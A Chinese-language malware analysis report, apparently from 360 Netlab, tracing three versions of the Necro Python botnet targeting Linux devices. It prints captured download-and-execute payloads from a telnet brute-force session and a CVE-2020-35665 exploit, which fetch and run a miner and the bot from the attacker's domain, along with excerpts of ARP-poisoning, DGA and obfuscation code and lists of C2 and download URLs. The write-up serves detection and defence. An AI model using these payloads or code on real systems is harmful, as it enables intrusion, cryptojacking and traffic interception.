<!--kg-card-end: markdown--><p>通过分析，我们发现2021年捕获的Necro样本可以分为3个版本，每个版本之间在传播方式、代码混淆和C2保存方面均有明显的区别，其中第1版 （necr0.py）到第2版（out.py）主要是代码结构上的调整，混淆度有所增加。同时第2版开始采用PyInstaller方式把Python程序打包成ELF。从第2版到第3版差别有所加大，不但代码混淆度显著增加，C2也从硬编码域名变成了使用DGA算法。此外，在传播方式上第3版也增加了一些n-day漏洞。</p><!--kg-card-begin: markdown--><h4 id="1">第1版</h4>
<!--kg-card-end: markdown--><p>因为第1版被作者命名为necro.py，所以我们把该家族命名为Necro。在代码混淆上，第1版只是部分代码做了混淆处理：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----5.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>它的C2信息只是<a href="#decrypt_cc">简单编码</a>保存，经过若干次逆向解码可以容易的得到：</p>
<pre><code>irc server: '45.145.185.229'
channel: '#necro'
key: 'm0rph'
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>原始样本中可以发现可读的DDoS攻击相关的命令串：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----2.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>从这些命令串可以看出Necro是一个用于DDoS攻击的botnet，C2协议基于IRC，支持的攻击方式既包括常见的udpflood、synflood、slowloris、httpflood这些，也包括在botnet中不常见的amp反射攻击。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="2">第2版</h4>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>第2版（out.py）和第1版的混淆程度相当，但在漏洞利用上有变化，加入了Zend Framework (known as CVE-2021-3007)：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----4.jpg" class="kg-image" alt loading="lazy"></figure><p>值得说明的是该漏洞2021年1月4日才曝光，这再次说明Necro的作者在利用新漏洞方面非常“积极”。</p><!--kg-card-begin: markdown--><p>在C2存放方面，第2版同样使用了简单编码保存：</p>
<pre><code>irc server: 'gxbrowser.net'
channel: '#update'
key: 'N3Wm3W'
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h4 id="3">第3版</h4>
<p>第3版的被检测到用benchmark.py名称传播。相比前两个版本，第3版最大的变化是使用DGA来生成C2域名，具体算法参考后面的<a href="#dga">DGA</a>代码，下面是模拟该算法产生的部分域名:</p>
<pre><code>avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
suBYdZaoqwveKRlQ.xyz
...
</code></pre>
<p>通过360netlab的DNSMon系统，我们看到该DGA算法产生的第1个域名aveixucyimxwcmph.xyz已经启用，并且被用作下载服务器的域名。下面是该域名的详细信息：</p>
<pre><code>2021-01-11 11:49:28 2021-01-20 03:47:28 372 aveixucyimxwcmph.xyz A 193.239.147.224
2021-01-11 20:11:02 2021-01-11 20:11:03 2 aveixucyimxwcmph.xyz TXT "v=spf1 include:spf.efwd.registrar-servers.com ~all"
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward4.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward5.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward2.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward1.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward3.registrar-servers.com
</code></pre>
<p>2021年1月20号，在最新的第3版样本中作者又对DGA算法做了修改，将种子从3种修改为4096种，同时开始使用SSL加密通信数据。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>第3版的另一个变化是代码混淆的更严重了，不仅所有自定义对象全部被替换成随机字符，连字符串也被用base64.encode(zlib.compress(plain_string))这种方式做了编码，导致样本中不再有可读的、有意义的字符串，如下图所示：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----14.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>在传播方式上，第3版增加了更多的漏洞利用，这一点可以从解码后的字符串看出来：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----8.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>在支持的DDoS攻击方法方面第3版没有变化，只是命令串被做了编码处理，解码后的DDoS命令串如下：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----7.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="">样本溯源</h3>
<p>通过第1版样本的版本信息我们可以看到Necro早在2015年就已开发，作者称之为N3Cr0m0rPh (Necromorph)。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----13.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>利用这些信息，我们从样本库里关联到一批针对 Windows平台的早期Necro样本，都是exe文件，这批样本刚好也可以追溯到2015年，跟第1版中的版本信息吻合。从这些线索可以推断Necro首先针对的是Windows平台，然后也许是Python程序天然的跨平台特性，抑或现网大量存在漏洞的Linux机器（IoT设备、云服务器等），启发Necro作者用去攻击Linux设备。无论如何，现在Linux malware大军中又多了新的一员：Necro。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">其它</h2>
<!--kg-card-end: markdown--><p>因为部分Necro样本以PyInstaller打包方式分发，下面简单介绍如何通过解包、反编译、解混淆等手段还原出可读的.py脚本。</p><ul><li> 解包 </li></ul><p>以第3版为例，用开源工具<a href="https://github.com/extremecoders-re/pyinstxtractor">pyinstxtractor</a>解包从ELF样本中提取的pydata数据后可以得到原始python脚本依赖的.so动态库、python库以及字节码文件.benchmark.pyc。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----3.jpg" class="kg-image" alt loading="lazy"></figure><ul><li> 反编译pyc </li></ul><p>利用<strong><a href="https://pypi.org/project/uncompyle6/" rel="noreferrer noopener">uncompyle6</a></strong>反编译 .pyc字节码可以得到最终的python脚本。通过对比来自同一downloader的python脚本<code>.benchmark.py</code>，发现其跟反编译出的.py脚本相同，所以断定<code>.benchmark.py</code>就是打包前的原始脚本。 </p><ul><li>字符串解密 </li></ul><p>Necro使用简单的“zip压缩+异或加密”方法隐藏字符串, 下面这段代码示范了解码过程：先解压再异或即可得到被隐藏的字符串<code>'8.8.8.8'</code> ：</p><!--kg-card-begin: markdown--><pre><code>xor_crypt(zlib.decompress(b'\x78\x9c\xab\xac\x8d\x72\xf7\xca\x96\x06\x00\x0a\xf1\x02\x68'))
def xor_crypt(s):
xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52]
return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ])
</code></pre>
<!--kg-card-end: markdown--><ul><li>动态变形 </li></ul><p>python脚本启动后会先调用<code>repack()</code>函数对当前的文件进行变形，变形的算法是依次从obj_name_list表（表中保存了文件中自定义的对象名称）中取出一个对象名称(可能是类，变量名，函数名)，然后产生一个8位的随机字串，用这个8位的随机字串替换文件中对应的对象名称，结果就是原始文件中再也找不到可读的对象名称了。因为这种做法是不可逆的，我们只能从代码功能上推测每个函数和变量的含义，参考早期版本的代码，我们基本搞楚了代码的功能。 </p><!--kg-card-begin: markdown--><pre><code>def __init__(self):
...
self.repack() #repack bot before we install
self.install() #Install
def repack(self):
try:
fh_myself=open(argv[0],"r")
_pyload=fh_myself.read()
fh_myself.close()
obj_name_list=['localhost_irc','gen_random_8char'....]
for obj_name in obj_name_list:
_pyload=_pyload.replace(obj_name,self.gen_random_8char(8))
new_fh_myself=open(argv[0],"w")
new_fh_myself.write(_pyload)
new_fh_myself.close()
except:
pass
</code></pre>
<!--kg-card-end: markdown--><p> </p><ul><li>ARP欺骗和流量嗅探 </li></ul><!--kg-card-begin: markdown--><p>比较有意思的Necro还支持ARP投毒和网络流量嗅探。ARP欺骗是为了把受害者机器伪装成网关，代码如下所示。</p>
<pre><code>def create_pkt_arp_poison():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
s.bind(("wlan0", 0))
while(1):
for lmfao in getPoisonIPs():
src_addr = get_src_mac()
dst_addr = lmfao[0]
src_ip_addr = get_default_gateway_linux()
dst_ip_addr = lmfao[1]
dst_mac_addr = "\x00\x00\x00\x00\x00\x00"
payload = "\x00\x01\x08\x00\x06\x04\x00\x02"
checksum = "\x00\x00\x00\x00"
ethertype = "\x08\x06"
s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr
+ dst_mac_addr + dst_ip_addr + checksum)
time.sleep(2)
</code></pre>
<!--kg-card-end: markdown--><p>这段buggy代码会在一个单独的线程种执行，每隔2秒读取一遍/proc/net/arp以获取最新的ARP邻居，然后冒充网关给它们发送ARP回应，目的是使对方相信所运行的机器就是网关。作者这么做可能是为了实现中间人劫持，但目前还没看到更多的中间人通信相关代码，猜测该功能尚处于开发中。</p><!--kg-card-begin: markdown--><p>嗅探主要针对受害者机器的TCP通信流量，该功能受C2指令（<code>.sniffer-resume</code>）控制。一旦开启，所有非以下端口的TCP流量都会被记录并上报给C2的1337端口：“1337, 6667, 23, 443, 37215, 53, 22”。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><ul>
<li>C2基础设施</li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>从第3版的C2域名aveixucyimxwcmph.xyz出发，我们通过图系统成功的把3个版本的C2都关联起来，如下图所示：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----10.jpg" class="kg-image" alt loading="lazy"></figure><p>其中，第2版的C2域名gxbrowser.net也曾解析到过第1版的C2 45.145.185.229上，而第3版的C2域名aveixucyimxwcmph.xyz所解析的IP 193.239.147.224曾经也被gxbrowser.net使用过，这些说明目前的3个版本Necro botnet背后的作者应该是同一伙人。</p><p>值得说明的是所有的Necro相关域名都已被360netlab的DNSmon系统拦截。</p><!--kg-card-begin: markdown--><h2 id="">结论</h2>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Necro是一个相对较老的Python恶意程序，但作者通过采用代码混淆、PyInstaller打包、集成DGA和新漏洞等方式使其摇身一变成为一款危害较大的针对Linux设备的新botnet，可谓“老树新春”。考虑到作者在不到一个月的时间内接连推出了3个版本，我们相信该家族目前处于持续活跃期中，相信后面还会不断发起新的攻击。360BotMon系统将持续对该家族保持关注，并会即使公布新的威胁信息。</p>
<p>如果需要帮助，欢迎通过[email protected]联系我们。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">版权声明</h2>
<p>本文为Netlab Jinye原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a> 许可证进行授权，转载请附上出处链接及本声明。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="aidiocioca"><a id="ioc">IoC</a></h2>
<!--kg-card-end: markdown--><p></p><p>C2</p><pre><code>45.145.185.83
193.239.147.224
gxbrowser.net
aveixucyimxwcmph.xyz
</code></pre><p></p><p>Download URL</p><pre><code># 第1版
http://45.145.185.229/necr0.py
# 第2版
http://gxbrowser.net/out
http://gxbrowser.net/out.py
# 第3版
http://aveixucyimxwcmph.xyz/.benchmark
http://aveixucyimxwcmph.xyz/.benchmark.py
# 其它样本
http://gxbrowser.net/xmrig
http://gxbrowser.net/xmrig1
http://aveixucyimxwcmph.xyz/xmrig1
http://45.145.185.229/bins/nginx.html/keksec.x86
http://45.145.185.229/bins/nginx.html/keksec.spc
http://45.145.185.229/bins/nginx.html/keksec.sh4
http://45.145.185.229/bins/nginx.html/keksec.ppc
http://45.145.185.229/bins/nginx.html/keksec.mpsl
http://45.145.185.229/bins/nginx.html/keksec.mips
http://45.145.185.229/bins/nginx.html/keksec.m68k
http://45.145.185.229/bins/nginx.html/keksec.i586
http://45.145.185.229/bins/nginx.html/keksec.arm
http://45.145.185.229/bins/nginx.html/keksec.arm7
http://45.145.185.229/bins/nginx.html/keksec.arm5
http://45.145.185.229/bins/keksec.x88_64
http://45.145.185.229/bins/keksec.x86
http://45.145.185.229/bins/keksec.x64
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/update.sh
</code></pre><!--kg-card-begin: markdown--><h2 id="aiddgadgaa"><a id="dga">DGA 算法</a></h2>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><pre><code>import random
def gen_random_str(_range):
return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range))
def gen_cc(time):
random.seed(a=5236442 + time)
return gen_random_str(16) + '.xyz'
def gen_DGA():
i = 0
while 1:
for _ in range(3):
try:
print(gen_cc(i))
except:
pass
if i >= 2048:
i = 0
i += 1
gen_DGA()
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="aiddecrypt_ccc2a"><a id="decrypt_cc">C2解密算法</a></h2>
<!--kg-card-end: markdown--><pre><code>self.irc_server=b64decode(b64decode("34653437353533303465343435353331346537613535333035613434353533303465353434353761346435343532366134653664343533303465353434643330346534373535333134643761346433303465376136623330356134343561363834653664343937613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded irc server
self.server_port=6667 #Server port
self.channel=b64decode(b64decode("346534343662376134643661346433313465366434643331346635343464376134653437343533333465363733643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel
self.channel_key==b64decode(b64decode("346536613439333134653434353137393465376136623332346437613531333334653661363337613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel key
</code></pre><!--kg-card-begin: markdown--><h2 id="">引用</h2>
<ul>
<li><a id="ref_1">https://www.imperva.com/blog/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities/</a></li>
<li><a id="ref_2">https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-28188">https://nvd.nist.gov/vuln/detail/CVE-2020-28188</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-3007">https://nvd.nist.gov/vuln/detail/CVE-2021-3007</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-7961">https://nvd.nist.gov/vuln/detail/CVE-2020-7961</a></li>
</ul>
<!--kg-card-end: markdown--><p></p><p></p> | 概述
Necro是一个经典的Python编写的botnet家族，最早发现于2015年，早期针对Windows系统，常被报为Python.IRCBot，作者自己则称之为N3Cr0m0rPh(Necromorph)。自2021年1月1号起，360Netlab的BotMon系统持续检测到该家族的新变种，先后有3个版本的样本被检测到，它们均针对Linux系统，并且最新的版本使用了DGA技术来生成C2域名对抗检测。本文将对最近发现的Necro botnets做一分析。
本文的关键点如下：
1，Necro最新版的感染规模在万级，并且处于上升趋势。
2，在传播方式上，Necro支持多种方式，并且持续集成新公开的1-day漏洞，攻击能力较强。
3，最新版Necro使用了DGA技术生成C2域名，Python脚本也经过重度混淆以对抗静态分析。
4，目前传播的不同版本Necro botnet背后为同一伙人，并且主要针对Linux设备。
5，最新的2个版本为了确保能在没有Python2的受害机器上执行，会同时分发使用PyInstaller打包过的Python程序。
在撰写本文时,我们注意到先后有2家安全厂商报道了Necro botnet及其团伙[PythonCryptoMinter][FreakOut]，但他们描述的均是已经停止传播的第2个版本，本文将描述更多的关于Necro的内容。
捕获
Necro支持多种传播方式，其中2种被我们的Anglerfish蜜罐系统成功捕获到：一种是传统的telnet弱口令爆破，另一种是1-day 漏洞(CVE-2020-35665)。捕获记录如下：
下面是实际捕获到的利用telnet弱口令传播第3版时的payload：
root
password
enable
system
shell
sh
echo -e '\x41\x4b\x34\x37'
wget http://aspjobjreorejborer.com/mirai.armexport ARGS="-o aveixucyimxwcmph.xyz:9050";LINE="killall -9 .sshd||pkill -9 .sshd_;[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile;nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &";grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc;curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_;mv -f .sshd_ .sshd_;chmod 777 .sshd_;curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig;mv -f xmrig .sshd;chmod 777 .sshd;chmod +x ~/.bashrc;~/.bashrc;cd /tmp||php -r "file_put_contents(".benchmark", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark"));";curl http://aveixucyimxwcmph.xyz/.benchmark -O;curl http://aveixucyimxwcmph.xyz/.benchmark.py -O;php -r "file_put_contents(".benchmark.py", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark.py"));";wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark;wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py;chmod 777 .benchmark.py;chmod 777 .benchmark;python .benchmark.py||python2 .benchmark.py||python2.7 .benchmark.py||./.benchmark||./.benchmark.py &
下面是实际捕获到的利用 1-day漏洞CVE-2020-35665传播第3版时的payload：
GET /include/makecvs.php?Event=`export ARGS="-o aveixucyimxwcmph.xyz:9050"
LINE="killall -9 .sshd||pkill -9 .sshd_
[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile
nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &"
grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc
curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_
mv -f .sshd_ .sshd_
chmod 777 .sshd_
curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig
mv -f xmrig .sshd
chmod 777 .sshd
chmod +x ~/.bashrc
~/.bashrc
cd /tmp||php -r "file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"));"
curl http://aveixucyimxwcmph.xyz/.benchmark -O
curl http://aveixucyimxwcmph.xyz/.benchmark.py -O
php -r "file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));"
wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark
wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py
从上面的payload可以看到exp除了下载并执行原始的Python脚本（.benchmark.py），还会尝试下载并执行PyInstaller打包后的ELF文件（.benchmark），这是作者自第2版开始引入的手法，目的是为了提高执行成功率。因为Python 2已经到达EOL(end-of-life)，有些受害者机器上缺乏这个运行环境，而使用Pyinstaller打包后的Python程序将成为独立的ELF，即使目标机器上没有Python环境也可以正常执行。
值得说明的是漏洞CVE-2020-35665公开于2020年12月23日，距离我们首次捕获它的利用只有8天，可见作者对新漏洞的使用非常“积极”。
另外，除了Necro样本，上面的exp还会下载挖矿程序xmrig和xmrig1，利用360netlab其它维度的数据，我们发现同样的download server还曾用于mirai和一些Windows恶意exe程序的下载，说明Necro的作者同时在运营多个家族的botnet：
感染规模
根据360netlab的DNSMon数据我们对第2和第3版的2个C2域名解析情况做了统计，以此来评估感染规模。根据下面的2个统计，我们能看到这两域名的unique客户端数均为2位数，考虑到数据采集位置的区别，真实的流量大概是我们统计的500～700倍，所以它们实际的规模均应该在万级。
下面是第2版C2域名的解析统计，能看到这个域名已经过了稳定期，处于下降状态。
下面是第3版域名的解析统计，能看到解析量在上升，说明这个版本还处于发展阶段。
样本分析
通过分析，我们发现2021年捕获的Necro样本可以分为3个版本，每个版本之间在传播方式、代码混淆和C2保存方面均有明显的区别，其中第1版 （necr0.py）到第2版（out.py）主要是代码结构上的调整，混淆度有所增加。同时第2版开始采用PyInstaller方式把Python程序打包成ELF。从第2版到第3版差别有所加大，不但代码混淆度显著增加，C2也从硬编码域名变成了使用DGA算法。此外，在传播方式上第3版也增加了一些n-day漏洞。
第1版
因为第1版被作者命名为necro.py，所以我们把该家族命名为Necro。在代码混淆上，第1版只是部分代码做了混淆处理：
它的C2信息只是简单编码保存，经过若干次逆向解码可以容易的得到：
irc server: '45.145.185.229'
channel: '#necro'
key: 'm0rph'
原始样本中可以发现可读的DDoS攻击相关的命令串：
从这些命令串可以看出Necro是一个用于DDoS攻击的botnet，C2协议基于IRC，支持的攻击方式既包括常见的udpflood、synflood、slowloris、httpflood这些，也包括在botnet中不常见的amp反射攻击。
第2版
第2版（out.py）和第1版的混淆程度相当，但在漏洞利用上有变化，加入了Zend Framework (known as CVE-2021-3007)：
值得说明的是该漏洞2021年1月4日才曝光，这再次说明Necro的作者在利用新漏洞方面非常“积极”。
在C2存放方面，第2版同样使用了简单编码保存：
irc server: 'gxbrowser.net'
channel: '#update'
key: 'N3Wm3W'
第3版
第3版的被检测到用benchmark.py名称传播。相比前两个版本，第3版最大的变化是使用DGA来生成C2域名，具体算法参考后面的DGA代码，下面是模拟该算法产生的部分域名:
avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
suBYdZaoqwveKRlQ.xyz
...
通过360netlab的DNSMon系统，我们看到该DGA算法产生的第1个域名aveixucyimxwcmph.xyz已经启用，并且被用作下载服务器的域名。下面是该域名的详细信息：
2021-01-11 11:49:28 2021-01-20 03:47:28 372 aveixucyimxwcmph.xyz A 193.239.147.224
2021-01-11 20:11:02 2021-01-11 20:11:03 2 aveixucyimxwcmph.xyz TXT "v=spf1 include:spf.efwd.registrar-servers.com ~all"
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward4.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward5.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward2.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward1.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward3.registrar-servers.com
2021年1月20号，在最新的第3版样本中作者又对DGA算法做了修改，将种子从3种修改为4096种，同时开始使用SSL加密通信数据。
第3版的另一个变化是代码混淆的更严重了，不仅所有自定义对象全部被替换成随机字符，连字符串也被用base64.encode(zlib.compress(plain_string))这种方式做了编码，导致样本中不再有可读的、有意义的字符串，如下图所示：
在传播方式上，第3版增加了更多的漏洞利用，这一点可以从解码后的字符串看出来：
在支持的DDoS攻击方法方面第3版没有变化，只是命令串被做了编码处理，解码后的DDoS命令串如下：
样本溯源
通过第1版样本的版本信息我们可以看到Necro早在2015年就已开发，作者称之为N3Cr0m0rPh (Necromorph)。
利用这些信息，我们从样本库里关联到一批针对 Windows平台的早期Necro样本，都是exe文件，这批样本刚好也可以追溯到2015年，跟第1版中的版本信息吻合。从这些线索可以推断Necro首先针对的是Windows平台，然后也许是Python程序天然的跨平台特性，抑或现网大量存在漏洞的Linux机器（IoT设备、云服务器等），启发Necro作者用去攻击Linux设备。无论如何，现在Linux malware大军中又多了新的一员：Necro。
其它
因为部分Necro样本以PyInstaller打包方式分发，下面简单介绍如何通过解包、反编译、解混淆等手段还原出可读的.py脚本。
* 解包
以第3版为例，用开源工具pyinstxtractor解包从ELF样本中提取的pydata数据后可以得到原始python脚本依赖的.so动态库、python库以及字节码文件.benchmark.pyc。
* 反编译pyc
利用uncompyle6反编译 .pyc字节码可以得到最终的python脚本。通过对比来自同一downloader的python脚本.benchmark.py，发现其跟反编译出的.py脚本相同，所以断定.benchmark.py就是打包前的原始脚本。
* 字符串解密
Necro使用简单的“zip压缩+异或加密”方法隐藏字符串, 下面这段代码示范了解码过程：先解压再异或即可得到被隐藏的字符串'8.8.8.8' ：
xor_crypt(zlib.decompress(b'\x78\x9c\xab\xac\x8d\x72\xf7\xca\x96\x06\x00\x0a\xf1\x02\x68'))
def xor_crypt(s):
xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52]
return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ])
* 动态变形
python脚本启动后会先调用repack()函数对当前的文件进行变形，变形的算法是依次从obj_name_list表（表中保存了文件中自定义的对象名称）中取出一个对象名称(可能是类，变量名，函数名)，然后产生一个8位的随机字串，用这个8位的随机字串替换文件中对应的对象名称，结果就是原始文件中再也找不到可读的对象名称了。因为这种做法是不可逆的，我们只能从代码功能上推测每个函数和变量的含义，参考早期版本的代码，我们基本搞楚了代码的功能。
def __init__(self):
...
self.repack() #repack bot before we install
self.install() #Install
def repack(self):
try:
fh_myself=open(argv[0],"r")
_pyload=fh_myself.read()
fh_myself.close()
obj_name_list=['localhost_irc','gen_random_8char'....]
for obj_name in obj_name_list:
_pyload=_pyload.replace(obj_name,self.gen_random_8char(8))
new_fh_myself=open(argv[0],"w")
new_fh_myself.write(_pyload)
new_fh_myself.close()
except:
pass
* ARP欺骗和流量嗅探
比较有意思的Necro还支持ARP投毒和网络流量嗅探。ARP欺骗是为了把受害者机器伪装成网关，代码如下所示。
def create_pkt_arp_poison():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
s.bind(("wlan0", 0))
while(1):
for lmfao in getPoisonIPs():
src_addr = get_src_mac()
dst_addr = lmfao[0]
src_ip_addr = get_default_gateway_linux()
dst_ip_addr = lmfao[1]
dst_mac_addr = "\x00\x00\x00\x00\x00\x00"
payload = "\x00\x01\x08\x00\x06\x04\x00\x02"
checksum = "\x00\x00\x00\x00"
ethertype = "\x08\x06"
s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr
+ dst_mac_addr + dst_ip_addr + checksum)
time.sleep(2)
这段buggy代码会在一个单独的线程种执行，每隔2秒读取一遍/proc/net/arp以获取最新的ARP邻居，然后冒充网关给它们发送ARP回应，目的是使对方相信所运行的机器就是网关。作者这么做可能是为了实现中间人劫持，但目前还没看到更多的中间人通信相关代码，猜测该功能尚处于开发中。
嗅探主要针对受害者机器的TCP通信流量，该功能受C2指令（.sniffer-resume）控制。一旦开启，所有非以下端口的TCP流量都会被记录并上报给C2的1337端口：“1337, 6667, 23, 443, 37215, 53, 22”。
* C2基础设施
从第3版的C2域名aveixucyimxwcmph.xyz出发，我们通过图系统成功的把3个版本的C2都关联起来，如下图所示：
其中，第2版的C2域名gxbrowser.net也曾解析到过第1版的C2 45.145.185.229上，而第3版的C2域名aveixucyimxwcmph.xyz所解析的IP 193.239.147.224曾经也被gxbrowser.net使用过，这些说明目前的3个版本Necro botnet背后的作者应该是同一伙人。
值得说明的是所有的Necro相关域名都已被360netlab的DNSmon系统拦截。
结论
Necro是一个相对较老的Python恶意程序，但作者通过采用代码混淆、PyInstaller打包、集成DGA和新漏洞等方式使其摇身一变成为一款危害较大的针对Linux设备的新botnet，可谓“老树新春”。考虑到作者在不到一个月的时间内接连推出了3个版本，我们相信该家族目前处于持续活跃期中，相信后面还会不断发起新的攻击。360BotMon系统将持续对该家族保持关注，并会即使公布新的威胁信息。
如果需要帮助，欢迎通过[email protected]联系我们。
版权声明
本文为Netlab Jinye原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
IoC
C2
45.145.185.83
193.239.147.224
gxbrowser.net
aveixucyimxwcmph.xyz
Download URL
# 第1版
http://45.145.185.229/necr0.py
# 第2版
http://gxbrowser.net/out
http://gxbrowser.net/out.py
# 第3版
http://aveixucyimxwcmph.xyz/.benchmark
http://aveixucyimxwcmph.xyz/.benchmark.py
# 其它样本
http://gxbrowser.net/xmrig
http://gxbrowser.net/xmrig1
http://aveixucyimxwcmph.xyz/xmrig1
http://45.145.185.229/bins/nginx.html/keksec.x86
http://45.145.185.229/bins/nginx.html/keksec.spc
http://45.145.185.229/bins/nginx.html/keksec.sh4
http://45.145.185.229/bins/nginx.html/keksec.ppc
http://45.145.185.229/bins/nginx.html/keksec.mpsl
http://45.145.185.229/bins/nginx.html/keksec.mips
http://45.145.185.229/bins/nginx.html/keksec.m68k
http://45.145.185.229/bins/nginx.html/keksec.i586
http://45.145.185.229/bins/nginx.html/keksec.arm
http://45.145.185.229/bins/nginx.html/keksec.arm7
